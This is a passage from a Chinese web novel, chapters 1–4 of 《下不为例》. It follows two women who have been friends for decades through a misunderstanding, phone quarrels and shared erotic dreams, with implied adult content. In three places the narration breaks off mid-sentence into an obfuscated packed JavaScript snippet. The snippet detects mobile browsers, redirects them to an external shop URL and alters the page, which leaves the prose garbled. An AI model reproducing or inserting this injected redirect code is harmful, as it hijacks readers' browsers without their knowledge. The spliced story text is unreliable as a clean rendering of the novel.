《下不为例》 1. 第 1 章 闹钟第三次响,谢舒毓手摸到枕头底下揿灭,蜷身抱紧被子,试图重回梦境。 女人湿热的唇似乎还停留在腮畔,呼吸灼烫耳垂,馨香柔顺的长发铺散颈窝,她不自觉挺身,指腹触及一片温热腻滑的肌肤。 手机提示音尖锐,那些搞科研的很知道人耳对声音的敏感度,听觉皮层传递痛苦,隔着枕头半点没减弱,谢舒毓一个激灵,醒了。 不甘心,努力摒除一切外界干扰,坍塌的梦境中奋力将她打捞,急迫追赶,却只是徒劳。 梦碎了。 隔壁甚至开始装修,电钻声四面八方往太阳穴里钻。 好不容易做个春梦,全世界都跟我作对。 半眯着眼,谢舒毓横七竖八摊在床上,手胡乱在心口捏了两把,才猛一抬身捋直睡衣。 软,睡得热烘烘,比平时要软得多,但自己摸自己有什么意思。 老话说,日有所思夜有所梦,可她白天根本没想过那事,怎么会突然做这种梦,还是跟…… 算了。 拽个玩偶过来垫在后背,谢舒毓抬高身体,手机上滑解锁,查看消息。 左叶在群里发了个搞笑视频,专门艾特她,下面跟了一串“哈哈哈”。 谢舒毓快速扫了眼标题——人类大型社死现场,笑不活了。 我当什么大事。谢舒毓想骂她几句,又怕吵起来说不清楚,只随便扔个大笑表情过去,假装看过。 左叶回得很快,问:[醒啦?] [托你的福。]谢舒毓没好气。 [我在蹲坑。]左叶说。 并不关心! 拇指微动,谢舒毓连续下滑,温晚从昨天下午四点以后就没在群里说过话,不知道忙活什么。 点进温晚头像,她上次发朋友圈是一周前,跟父母出省旅游。 合照里她站在中间,早春天气,吊带裙搭配小开衫,长发柔柔披散双肩,浅抿着唇笑,人如其名,气质温婉甜蜜。 群里人都给她点赞评论,谢舒毓也不例外,温晚雨露均沾,每句话都耐心回复,照片下面挂了老长一串对话。 左叶那二傻子,朋友圈文案明确告知时间地点,温晚在群里也专门提过两次,她还追着问哪里哪里,温晚好脾气,不厌其烦一遍又一遍。 起床洗漱,卫生间无聊刷手机,谢舒毓没找到什么好玩的,专门搜了个猫咪视频发群里,有样学样艾特温晚。 [好可爱,呜呜呜呜呜呜呜——] 电动牙刷嗡嗡作响,谢舒毓几次掏出手机来看。 估计还没起。 按理说也到上班的点了…… 算了,那么较真干嘛,朋友而已,控制欲别太强。 手机揣兜,洗脸巾打湿捏干,谢舒毓镜子里胡乱撩了把刘海,也不知该说是睡好了还是没睡好,眼下两团明显的青黑。 她内双,眼型微微上挑,奔三的人了,脸蛋水嘟嘟还有点婴儿肥,因为瘦,下颌清晰,脖颈细长,上半张脸看着冷冷的,看着不太好相处,笑起来又有点憨,还有单边的酒窝。 直到收拾好出门,坐上地铁,谢舒毓还是没收到温晚回复,编辑部考勤制度不严,她站在楼下给温晚打电话。 突然心跳加快,谢舒毓莫名就手发抖,三年前她刚进编辑部,某天上午也是类似的情形,电话响第六声,对面接起,却是另外一个女人的声音。 ——“喂?你好。是温晚朋友吧,哦,我看到她给你的备注,她跟我提过你,说你们可要好了,认识二十多年……嗯,她在洗漱,哈哈,我让她待会儿打给你哦!” 也没那么具体,大多是她脑补,对方当时说了什么,她其实一句没听清。 陌生女人的声音使大脑当场宕机,只大概感觉到了情绪,对方语带笑音,有些不经意流露的小俏皮,但并不觉做作,还挺可爱。 比她可爱。 电话接通,谢舒毓浑身冷汗起,心尖一颤,手机掉了。 这下直接给摔得关了机,谢舒毓蹲到地上,屏幕在裤管擦灰,两条胳膊围个圈,脸埋进膝盖。 天塌地陷,明明一个多小时前她们还那么亲密,在呼吸可闻的距离,掌心复杂的纹路交叠。 可那只是梦啊。 只是梦。 一个梦而已,并不能代表什么,是她们关系太好了,她对她的依赖和信任超越所有人,她想不到别人,做春梦都想不到别人。 仅此而已。 梦境和现实颠倒,是她搞错了原来。 平复半分钟,谢舒毓上楼,组长张姐给大家带了自己蒸的素菜包子,一帮人围着热热闹闹吃完,谢舒毓泡了杯黑咖坐下开始画画。 杂志社做文化艺术及科学传播类杂志,她负责其中一个期刊大部分插画版块,状态不痛不痒、无声无息,偶尔需要出差,负责拍摄一些植物和人文景观,挺乐在其中。 她画画的时候很投入,也只有画画的时候才暂时没空去想那些糟心事。 樱花、杏花、梨花、海棠花……春天的花太多了,很容易混淆,这一版块的主题是教大家如何通过花朵细节区分种类。 画这些东西要很仔细,一点也不能错,否则误人子弟不说,几万册期刊印出去,那损失可就大了。 纸媒逐渐没落,脆弱的花瓣一场春雨就凋零得满地,想到这些,还有温晚,谢舒毓有点伤心。 她的脸从层层叠叠粉白的花瓣中浮现,唇边惯常的浅笑。好像怎么也没办法不想她。 一上午很快过去,组长那边过稿的时候,同事端着饭盒过来,“小毓,门口有人找。” 午休时间,微波炉忙起来了,编辑部一股浓浓的饭菜香。爆炒的辣子鸡被厚重水汽包裹,变得有点不伦不类,像她这个人,软绵绵湿答答,又暗地里较劲,倔头倔脑。 抓了手机,谢舒毓起身,门口是左叶,她有点意外。 “还以为你出了什么事,消息不回,电话不通。”左叶扯着她衣角围着转了一圈,“这不好端端的。” “你分手了?”谢舒毓问,不然干嘛突然跑来。 “盼我点好。”左叶翻了个白眼,伸手按电梯,“温晚说你给她打电话,可才刚接通你就挂了,后面怎么打也打不通,担心你一个人死在宿舍,让我赶紧过来看看。” 左叶去她宿舍,敲不开门,找物业要了监控看,于是打车来编辑部,现在见她胳膊腿都齐全,人瞧着也挺精神,招呼进了电梯,“不能让我白跑,请我吃午饭。” 谢舒毓点点头,两手插兜懒洋洋歪在一边。 镜面轿厢完整显现出她的样子,发黑直,垂肩长度,衬得脸蛋小小,不笑的时候看起来有点难相处。 等出了电梯,左叶问:“手机怎么回事?” 谢舒毓试着开机,屏幕亮,“上午不当心摔着,还以为坏了。” 左叶让她给温晚回个电话,谢舒毓答应说吃完饭,APP图标显示十几个未读,她提了口气,拇指戳开。 一则邮箱信息,一个公众号推送,温晚的对话框排在第三。原本是置顶,地铁上闲得没事干,取消了。 [怎么挂了?] [为什么不接我电话,出什么事了?] [我昨天好忙,加班到九点,又被拉去参加了个酒局。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572056|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [我不在身边,你要好好照顾自己,我让叶子去看你了,没事的话给我回电话。] [我爱你,最爱你。] 谢舒毓熄屏,手机揣回裤兜。 嘴上说得好听,还不是跟别的女人谈恋爱。 说什么最爱,鬼才信,爱是那么容易就能脱口而出的东西吗? 中央空调,千手观音,全世界都是她最爱! 杂志社年初搬到这边来的,老城区房子要拆,政府扶持新区,大厦不要房租,只是离家远,谢舒毓搬到宿舍住,周末才回。 新区马路修得宽,四处崭新而明亮,充满疏离感,谢舒毓始终不能习惯,找同事打听,带左叶去了附近一家火锅店。 中午店里人不多,等锅底的时候,左叶在群里发消息,偷拍了张谢舒毓的照片。 温晚说到底怎么了,左叶说从见面就垮个批脸,不知道哪儿得罪她了。 谢舒毓不看群消息,不回复,也不打电话,就托腮看着窗外。 照片里她刘海有点长了,半遮了眼睛,群里许徽音夸她好看,又说能不能把鼻子切下来送给她,左叶假装生气,问什么意思,我鼻子不配吗? 许徽音是左叶女朋友。 [我到底怎么你了?]温晚私聊。 谢舒毓喜欢绿色,她连聊天壁纸也特意选了张绿的。 雨后白雾笼罩的幽谷山林,像她眼中的谢舒毓,潮湿、忧郁,远看清新治愈,分外向往,靠近难免沾染得一身水汽,感觉烦透了,慌慌忙忙逃出来,但下次还去。 手机屏幕里一串的绿,温晚实在没耐心了,又感觉委屈,几乎是央求。 [别这样对我。] 这可怜巴巴求和的小样儿,谢舒毓没办法不心软。 [没睡好,工作有点累。] [抱歉。] 隐隐猜到什么,温晚把昨天行程又大概在群里讲了一遍,还提到个男的,说最近在追她。 打下这行字的时候,温晚坐在客厅沙发等外卖,她今天没去上班,手指在屏幕上用力地戳,有点恶狠狠。 [你现在改喜欢男的了?] 谢舒毓果然有了反应,还跟了个很欠扁的系统自带惊讶表情。 [我有说我喜欢他吗?] 温晚明显不高兴。 谢舒毓又不说话了,左叶替她问:[所以你昨天晚上在跟男人约会?] [你看见了?] 温晚也不是一直好脾气。 [这么尖锐,怎么你们很喜欢讲反问句?] 许徽音出来打圆场。 温晚再次点开左叶偷拍的那张照片,她眉眼疏离,表情冷淡,撑腮的手掌侧看指节格外细长,腕关节隆起的微小弧度也充满诱惑。 天空阴霾,像要下雨,客厅光线浑浊,温晚蜷坐在昏暗中,长出了一口气。 [老板儿子,明里暗里拒绝过几次,但他死猪不怕开水烫。] [男的就是贱。]左叶尖锐评价。 许徽音发了个踹狗表情。 [还以为你又谈恋爱了。] 温晚捏捏眉心,打字回复:[没心情,也没时间。] 锅底端上来,谢舒毓拍了张照片发群里,试图终结话题。左叶每次都犯贱,到时候又闹得大家不开心。 [跟前妻姐就有时间有心情。] 左叶从不让人失望。 谢舒毓开始往锅里下菜,不到半分钟,温晚电话进来。 特意等到第六声,谢舒毓接起,她的声音像电流滋啦啦钻进耳朵,激起心尖上酥麻麻一片。 “你干嘛不理我啊——” 2. 第 2 章 谢舒毓稍挺直了背,无意识的,像给自己撑场面,不服输,语调也跟着紧绷,硬邦邦说“没不理啊”。 “那你不给人家打电话。”温晚先示弱,但口气不算撒娇。 谢舒毓知道她说话就这调调,跟谁都这调调,三分热烈,三分揶揄,四分虚情假意。 谢舒毓从前一直觉得自己是特别的,不在她需要伪装的行列范围,后来发现也就那样。 “怎么不说话了。”温晚在电话那头问。 回神,谢舒毓手指轻敲桌面,也学她,先丢句好话,“我寻思吃完饭给你打。” “唬我吧,吃完饭你说上班,下班你又说洗澡,洗完澡马上就要睡觉,反正你总有借口。” 不是亲身经历,哪能知道得这么清楚,认识快二十年,温晚太了解她。 这份压抑不住的气急败坏让谢舒毓忍不住弯了嘴角,三分凉薄,三分戏谑,四分漫不经心——谢舒毓自以为大概是个这样的笑。 突然很想照照镜子,看究竟能不能笑出那么多种情绪。 “隔着电话躲那偷笑呢吧。”温晚也猜到了,“你多厉害啊,把我拿捏得死死的。” 到底谁拿捏谁啊。 扳回一局,谢舒毓整个人放松下来,身体仰靠椅背,答应说吃完饭就回,绝不食言。 “我外卖也快到了。” 左叶在,她们没办法好好说话,姓谢的就爱装酷,温晚最后叮嘱,“别骗我。” 谢舒毓没吭声,大概是因为心虚,她确实经常撒谎。 一些善意的谎言,没有功利性的,只是为让对方安心,感觉到被重视,被优待。 柔和,也疏离。 谢舒毓电话挂断,左叶瞟来一眼,“搞什么,总背着我们蛐蛐,有什么事群里不能说。” 谢舒毓夹了块毛肚在锅里烫,“这不正常,你跟许徽音也不是什么事都在群里说。” 左叶气笑了,“我们是情侣。” “我俩认识比你久。”谢舒毓说。 “孤立我呗。”左叶一脸被伤透心,“我早上还专门去宿舍找你,你就这么对我?” “那也是为了让我请你吃饭。”谢舒毓飞快接。 左叶难以置信,“你真是狼心狗肺!我缺你一顿饭钱?” “哎呀——”谢舒毓服软也快,赶紧给她夹肉,“你当然不一样,你现在是我身边最信任的人,我有什么话都跟你说。” 左叶搁了筷子,肘撑桌沿,十指交握,是个审问的姿态,“那你老实告诉我,你俩是不是在谈。” 现在很像在谈吗?谢舒毓没有第一时间否认,“干嘛这么问。” “很明显。”左叶说:“你因为她不回消息生气,打了电话又故意关机,她着急哄,你爱搭不理,她更着急,你……” 左叶说不下去了,大概勾起什么不太美好的回忆,“太典型了,像在说我自己的事,就这几句我已经开始烦了。” 她这么一说,谢舒毓似乎也品出点味儿来,盯着咕嘟冒泡的红油锅底,没吭声。 “不会真在谈了吧?”左叶稍探身。 谢舒毓第一反应不太好,她呆住了,不知道该怎么回,半天蹦出一句“你有毛病吧”。 随即有些羞恼自己的失态,她想道歉,左叶已经在桌下给她来了一脚,“你激动什么,你才有病,我看你早就得了相思病,人家一个电话你魂不守舍的,出息!跟条小贱狗似的。” “我才没呢。”谢舒毓没什么底气地狡辩,“紧张的明明是她。” 店里有客人来,老板娘招呼,嗓门脆亮,左叶没听清,捞起两坨虾滑一人分了一坨,自顾自笑,“也是,你俩认识那么多年,要谈早该谈了,还拖到现在?” 她说甭管男的女的,好朋友谈恋爱了,就应该适当保持距离,减少来往,这一点你曾经就做得很好。 “所以温晚的紧张很合理,她现在没谈,她不想你误会,你们还是好朋友,该吃吃,该喝喝,有空出来玩,有事就张嘴,赴汤蹈火在所不辞。保持距离,但并不生疏,就像咱俩现在这样。” 左叶自己把自己说通了,也点醒谢舒毓。 原来是这样啊,她差一点、差一点就误会了。 所以那个电话拨出去的时候,谢舒毓不再抱有任何幻想。 吃完饭,送走左叶,回杂志社的路上,她很清醒,音色平直无波,“因为你一直没回消息,我担心你,就像你担心我,所以给你打了个电话,但手机突然掉地上,开不了机……” 后面就不算撒谎,“到单位,很多插图要画,我想你应该在忙,就没打扰。” “打扰”二字,隔着手机听筒,将距离加倍拉长,所有好的坏的情绪,都压缩成一段毫无感情的电磁波信号。 温晚很久没说话。 “喂?”谢舒毓怀疑她挂断,飞快看了眼手机,又生怕错过什么,急忙贴回耳朵。 温晚依旧沉默。 词穷了,谢舒毓路边随便找了个地方蹲着,手臂圈出个圆,头埋进膝盖。 “你还在听吗?”她不确定问了一句,声音有点含糊。 又过了很久很久,电话那头才传来一声无奈而漫长的叹息。 “我不知道该怎么说。” 彼此没话讲,可就是迟迟不肯挂断,僵持着,也许都在等待一个从天而降的转机,把她们带回过去。 可回到过去就会好吗?就能改变什么吗?回到几岁合适呢,人生路上经历的无数个岔路口,几乎每个都与她有关,心里明明是惦记着她,却不知怎么就越走越远。 “是你让我给你打电话的。”谢舒毓提醒。 温晚好笑,“我该解释的都解释得差不多。”倒是你。 “那挂了。” “你挂。” “凭啥我挂。” “那我也不挂。” 吵两句,心情好了点,谢舒毓起身抖抖裤腿,继续往前走,“干耗着,不用交话费啊?” “那打视频。”温晚说。 谢舒毓“嘁”了一声,“说得视频不要流量,而且我根本不想看见你,我闹心。” 温晚一下火了,“看我怎么就闹心了?我看你还闹心!” “闹心你还想看,你赶紧挂!”谢舒毓拔高声调。 “我现在又没看见,我不闹心。” “我闹心,光听你声音我就闹心。” “那你去死。” “你先死,你死了我指定死,咱俩殉情。” 快走到杂志社楼下,旁边人惊讶扭头,谢舒毓一看是张姐,险些又把手机摔了。 她反应过来,酒窝绽开,“跟朋友开玩笑呢。” 张姐笑笑,抬手打个招呼,示意自己去前台拿快递,谢舒毓点头,跟她拜拜。 温晚在电话那头听着,知道她遇见同事,心里盘算着,待会儿一定就“朋友”二字好好阴阳一番。 下一秒通话断开,手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572057|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹出消息。 [进电梯了。] 距离午休结束还有半个多小时,谢舒毓把手机扔到桌面,习惯性望向窗外,入眼铅灰冰凉,老城区润目的浓荫终究是回不去了。 走到窗边站几分钟,谢舒毓想想,还是给温晚发了条消息。 [没事。] 没事,既然没事为什么还那副半死不活的样子。温晚坐在沙发上,盯着手机半天没动,心里闷闷的,堵得慌。 门铃响,她起身拿外卖,习惯性说“谢谢”,贴门站,听着小哥出楼道才反锁门。 那动静有点大,她总在一些莫名其妙的地方细心,觉得当着人面反锁不礼貌。 拆包装,皮蛋瘦肉粥送进嘴里,半温不热,腥气直冲脑门,强忍着咽了几口,胃里一股股翻。 就没有一件顺心事!小勺气咻咻往粥碗里戳,温晚摔在沙发,摁开手机找到商家,唰唰唰恶评送出。 [出来做生意稍微用点心好不好,你们开店真的吃过自己做的东西吗?太糟糕了。三十块不便宜,买大米都不知道买多少斤,我花钱点外卖不就图个方便,我连碗热粥都不配喝吗,你们做人讲点良心。] 那通电话打完,谢舒毓其实心情其实有所好转,不时拿起手机回看温晚信息。 她明显在示弱,她大多数时候挺温柔的,她解释得很详细,她确实很在乎自己的反应。 谢舒毓正琢磨着,要不要再说点什么缓和气氛,对话框跳出消息,几乎占据整个手机屏幕。 洋洋洒洒,近千字,从昨晚酒局开始,温晚再次详细讲述经过,是什么性质的聚会,她为什么不能拒绝,有多少人参加,谁带了对象谁带了宠物,宠物长毛短毛叫什么名字,几点回家,几点睡觉,几点起床,中午又吃了什么外卖…… 前半段说事,后半段全是骂她,有理有据,逻辑清晰,且不带一个脏字,纯纯人格侮辱,内容总结就四字——不识抬举。 消息过来的时候,谢舒毓第一反应就是挨骂了,但她一字不落看完,还看了三遍,跳出个人主观意识,被骂那人真的一点不冤。 人好声好气哄,你不听,拽得二五八万,把人惹恼了可不急眼。 谢舒毓走出办公室,站在楼道给温晚打电话,接通第一句。 “你骂我。” “骂你怎么了?我就骂你,你就欠骂,一天不骂你就皮痒痒,你就难受!” 温晚声音软软的,柔柔的,她音调低,不刺耳朵,谢舒毓忍不住笑,“那我要跟你说,其实我根本没细看,你不得气死。” “所以你专程打电话过来听我亲口骂呗。”温晚快速接道。 谢舒毓“昂”了一声。 “你真是条小贱狗。”温晚咬着牙根磨出这句。 “是就是呗。”谢舒毓揉揉鼻子,酒窝持续推高,“你越生气我越高兴,我气死你。” 莫名,胸口那种闷闷的感觉消散了,像雨后大风吹走乌云,露出湛蓝的天空,那么宽阔,那么坦荡。 她说什么都行,谢舒毓只要听到她声音就很满足,熟练滑跪,调整了语气,“好了,我真要上班了,你在家好好休息,刚听你说等外卖,吃了没?” 温晚气呼呼,“没吃,难吃死了!” 发脾气也这么可爱。谢舒毓笑得脸僵,说那我再给你点。 半小时后,温晚收到外卖,客厅茶几上两碗一模一样腥冷的皮蛋瘦肉粥。 她想骂几句,又觉得嗓子疼。 3. 第 3 章 也许是因为太久没见,听不到她的声音,看不到她的脸,更无从判断她对自己的态度,那篇小作文之前,谢舒毓都魂不守舍。 温晚噼里啪啦骂一通,把她骂爽了,下午工作效率显著提高,画得又快又好,把明天的活都干完了。 相比一些大型广告或传媒公司,杂志社工资不算高,但胜在清闲,能拥有更多个人空间。 在这个信息泛滥,过分追求高效快捷,人欲横流的世界,“信仰”二字,说起来略显矫情,舌尖上打个滚,黏黏糊糊、扭扭捏捏,有些难为情。 但人总得热爱点什么,从而产生一种创造的力量。 信仰科学,崇尚自然,谢舒毓是真的很喜欢自己从事的这份职业,以及所在的岗位,在漫长人生中许多的不顺心里,这份热忱足以抵挡一切。 工作几年,组长张姐对她极为看好,答应明年就给她开专栏。 不过嘛,人在职场,还是得多留个心眼,稿子她揣着没交,免得组长明天又给她派活儿。 编辑部氛围松弛,甚至可称闲散,几乎完全不加班,剩得有活儿也是带到家里干,到点准时关电脑,一帮人乌泱泱冲进电梯。 后天周末,大家都在商量到时候去哪儿玩,这个季节大多选择携一家老幼外出郊游露营。 春天到了,观察自然是必修课程。 “你呢,小毓?”张姐问。 谢舒毓想了想,“学敏说下月写鸢尾,我得出去看看。”学敏是撰稿编辑。 张姐点头,“不是殉情就行,编辑部需要你,可千万别想不开。” 学敏凑过来,“啥?谁殉情?” 谢舒毓扶额,无地自容。 这栋大厦杂志社下班最早,编辑部尤其溜得快,电梯一路畅通,诸人道别。 谢舒毓闷着脑袋往地铁站走,想起电梯里张姐那番话,傻乎乎笑,路人经过,忍不住瞄她两眼,她手掩唇,有点尴尬,有点害羞。 在地铁上把这事跟温晚说了,对面丢个白眼过来。 [不是不愿意跟我说话?] [没说话,打字呢。] 谢舒毓回。 温晚又气够呛,威胁说:[拉黑你信不信。] 认识二十多年,拉黑删除这种事两人没少干,到气头上都不管不顾的。 也是有恃无恐,笃定她们之间的关系绝不会轻易断绝。 以前是因为什么,是又拉黑又删除,只拉黑不删除,还是不拉黑直接删除,早就记不清,也没必要记那么清。 但上一次,是因为温晚谈恋爱。 消息发送,温晚马上意识到不对,紧急撤回,但在撤回的瞬间,她又后悔了。 干嘛呢这是,她有什么可心虚的,她行得端坐得直,从没干过什么亏心事。 不应该撤回,温晚咬手指,看对话框顶部从正在输入状态迅速切换,等待半分钟,仍杳无音讯。 谢舒毓肯定看到了,她肯定生气了。 可那又怎么样?姓谢的一天天牛什么牛?于是温晚把刚刚撤回的消息又发了一遍。 从单位到宿舍就两站地铁,谢舒毓扫码出站,被温晚这通操作整笑了。 [您没事吧。] 太丢脸了!太丢脸了!温晚满屋转圈,啊啊大叫。 但也不算全无收获,谢舒毓回复了,没晾着她不理。 两人认识那么多年,日常难免有分歧,吵架也不是什么稀罕事,但大多时候都没动真格,你一言我一语的,杠着好玩。 小时候经常放狠话,说“一刀两断”,整得像模像样,两根食指对在一起,胳膊伸长了,咬着后槽牙,下巴抬得高高,手举到人面前逼着砍一刀,两个互相砍完才算真正绝交。 但那都是闹着玩,隔天该怎么样还是怎么样。 谢舒毓习惯每天早上去温晚家叫她起床,给她收拾书包,温晚也习惯在公车上趴谢舒毓怀里补觉,连课间上厕所也要她在门外守着。 从小到大,她们亲密得就像一个人,直到谢舒毓读研期间,温晚宣布恋爱,谢舒毓就很懂事地“消失”了,不再跟温晚吵架,也不玩拉黑删除的幼稚游戏,甚至很长一段时间连面都不见。 杂志社分配的女生宿舍是个百多平的大套间,谢舒毓第一个搬进来,本来选了个窗户朝东北方向的小房间,左叶来帮忙,死活不干,给她东西都搁主卧,跟许徽音快速换了床褥,让她拒绝不得。 主卧大,采光好,有独卫,照左叶的话说,谢舒毓这人有点“窝囊”,配得感太过欠缺,让她自己选肯定选最差的,于是才自作主张。 谢舒毓理解,朋友们只是希望她能过得好。搬进主卧,她起初还有点忐忑,结果三个月过去,宿舍再没出现第二个人。 杂志社岗位稳定,目前没有扩编的打算,那些姐姐哥哥的,都是有家庭的,人都回家住。 谢舒毓也有家,只是不乐意回,住宿舍挺好,她上班这几年攒了些钱,有空也接点散活儿来做,计划到时候买个小户型自己住。 房间靠墙是面大衣柜,隔着床头柜搁张床,一米五宽,常规尺寸。床尾靠窗有套巨大的升降书桌,L形,是工作区域,一边放置电脑、键盘和数位板等,一边是手绘区。 抬头往上看,墙壁挂了排小柜子,里头都是画具和书。 得亏左叶,不然她一堆东西,真住小卧室怕连个转身的地方都没有。 起码得买个两居室,谢舒毓洗澡的时候琢磨,一间卧室,一间画室,能有个小阳台最好,种些花啊草啊的,便于观察…… 脑海中规划着未来的小家,也是热气熏得眼前有些朦胧,谢舒毓洗完澡出来,不当心踢到个纸箱。 这房子布局不合理,客厅放满水能当个游泳池,房间鸟屎大,她痛嘶一声,长腿朝前一跨,摔倒在床。 捂着大脚趾,熟虾米似蜷成一团,躺床上缓了缓,谢舒毓爬起,脸都憋红了。 墙角纸箱里是她给温晚准备的生日礼物,过去一年四处收集的小玩意,有冰箱贴、毛绒玩具、书籍还有闲时做的小手工等。 干发帽裹得有点紧,拽着她眼尾直往上吊,奶黄色小熊睡衣松松垮垮,她抓起手机,想给温晚发消息。 窗帘没拉,人藏在双层的中空玻璃里,影子毛乎乎的,半天没动。 温晚离开这座城市快四年了,聚少离多,再深厚的感情也禁不住时间的磨损,何况,人本来就是会变的。 人家早就有了自己的生活,干嘛还死揪着不放,小脾气没完。 谢舒毓低头看脚,那一下完全没收着力,不是纸箱肯定破皮了。 [好痛。] 还是不甘心,她发在群里,似是意有所指。 [磕哪儿了?] 温晚最先出现。 白天挨骂的时候还感觉挺过瘾,现在又莫名其妙一肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572058|142945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子气,谢舒毓不冷不热的。 [没事。] 温晚盯着手机,冷笑两声。 [那八成是磕到脑子。] [八成。] 谢舒毓随便她咋说。 左叶觉得这两人挺有意思,发了个[围观智障]表情包。 随后许徽音提到温晚生日,说高铁票刚刚买好了,让她注意短信上的时间,到时开车过去接她,大家一道去车站。 周一是温晚生日,大家得上班,就商量周六周天给她过。 许徽音那则消息发出,温晚盯着手机,连个大气都不敢出。 半天,谢舒毓那个“好”字弹出来,她仰倒在床,手心里全是汗。 她今天状态很不好,跟谢舒毓几次交锋都小心翼翼,担心被对方发现端倪。她话太多,太反常,还有些沉不住气。 逃离故土,陌生的城市独居,这几年,温晚事业虽谈不上多喜欢,也足够认真负责,凭借优越外形以及灵活的社交手腕,很快有望晋升市场部经理位。 她以为自己可以的,在离开父母,离开谢舒毓之后,她确实也做到了。 可对方只是一个电话,她细致雕琢的高素质精英女郎形象瞬间土崩瓦解,她气急败坏、破口大骂,时间垒砌的防卫的高墙顷刻坍塌。 她溃不成军。 可谢舒毓种种微妙反应,又让她升起希望。 或者是妄想更为准确。 台灯光亮努力塞满整个房间,却始终是虚无的,墙面、飘窗、妆镜台,包括离她最近的床头柜,几年下来并没有积攒下多少杂物,连玩偶、挂画此类基础的软装添设都欠缺。 这份寂寥是否从侧面说明,她也许根本没打算长留? 谢舒毓就要来了,其实没什么好紧张的。 这几年虽说见得少了,但逢年过节,各种大型生日聚会彼此都不曾缺席,吵归吵,闹归闹,见面笑着打个招呼,没什么过不去的。 紧张什么呢。 翻来覆去,辗转难眠,脑子里乱七八糟一堆事,快凌晨三点,温晚实在顶不住,吞了两颗褪黑素。 她闭上眼睛,回忆浮现,是她们曾亲密无间的青春年少。倏忽间,身体像沉入海底,跟随水流的涌动进入另一个世界。 落日涂抹,天空云霞瑰丽绚烂,如同浸泡在甜蜜的粉红气泡水,椰林飒飒,沙滩空无一人,鼻尖萦绕淡淡白茶香。 熟悉又安心的味道,温晚偏过脸,毫无准备,唇被缴。 她本能伸出手,环住对方腰肢,急迫想抓住什么,再配合启唇,抬高脖颈,任由那些细密的吻溅落全身,甚至渴望更多。 好奇妙,她没跟人这样接过吻,小时候那种当然不算。感觉陌生,却很安心,荒诞的场景和人物,云层变幻,美到窒息,她毫无顾忌袒露自己。 …… 药物说明书上详细写道:褪黑素是由大脑松果体分泌出的一种氨基激素,可人工合成,最显著的作用是改善睡眠。 但也有副作用。它可能会形成依赖,导致激素紊乱,加重肝脏负担,甚至影响经期。 还有。 多梦,易醒。 温晚抓起床头水杯,猛灌几口,冰凉的水珠顺着脖颈快速滑至领口,驱不散浑身潮热。 她怎么也想不明白,她怎么会、怎么会…… 温晚有个秘密,她梦见自己跟此生最爱挚友,那啥了。 4. 第 4 章 谢舒毓又做梦了。 梦里还是那个人,只是这次换了场景。 她从没见过那么美的天,深浅不一的橘和粉大片泼洒在画布,又像柔软的花海,几乎溺毙她。 她变得不像自己,亦或是另一个压抑的自己,占据绝对掌控地位,强势主导一切,梦里那人也是前所未见的娇柔风情,毫不吝啬打开、舒展,弯折出曼妙的弧线。 这是梦吧?一定是梦。 害怕下一秒就醒来,现实的残忍状况无时不在提醒,谢舒毓小心翼翼,克制拥抱,对方热情相邀,她又忍不住去吻、去寻。 急迫靠近,恐惧失去,两种矛盾的情绪左右拉扯,越忙越乱,她陷入一片迷雾里。 下坠,半空中极速下坠,失重感骤然来袭。 谢舒毓惊醒,心跳剧烈,本能启唇大口呼吸,茫然大睁着眼,许久,魂魄才缓缓归位。 还没到春分,这种天气盖着棉被睡觉最舒服,谢舒毓却满头满背的热汗,心跳平复,她扭头通过窗帘缝隙透出的光亮判断时间,不太确定,又摁亮手机屏幕。 不到五点。 重新闭上眼,仰颈缓慢地吞咽,回味。 梦境无法重现,但谢舒毓自认从小天赋异禀,对场景和色彩的把控是与生俱来。 她可以想象。 可这样会不会有些不礼貌呢?她皱起两条秀气的眉毛。 就算是好朋友也不能乱来呀,要不给温晚打个电话征求下意见。 ——“歪?睡了没。嗷,睡了也没事,反正你现在已经醒了。嗯,有件事情想跟你沟通一下,就是这会儿我有点那啥,咱俩这么多年的关系,我那啥一下,你应该不介意吧?” ——“要实在介意,我给你提供个解决思路,你可以那啥一下我,我不介意。” 谢舒毓手掌摁在额头,给自己逗笑了。 半晌,她撑身坐起,拉开床头抽屉,从里头取出个方盒,小东西确认过电量,洗净后用酒精棉消毒。 …… 温晚用的同款,左叶分享的链接,当时她跟谢舒毓都表现得很矜持。 谢舒毓发了个挠头表情,她说“这是什么呀”,许徽音说“你们猜呢”,左叶说“装鸡毛啊”。 左叶推荐,必属精品,温晚毫不犹豫下单,到货实验过几次,确实不错。 她从浴室出来,小东西也顺手洗干净了,纸巾擦拭过,风筒吹干水汽才放盒子里。 回到房间,叉腰站了会儿,借着最后一点亢奋的余韵,把床上用品全部更换过,塞进洗衣机。 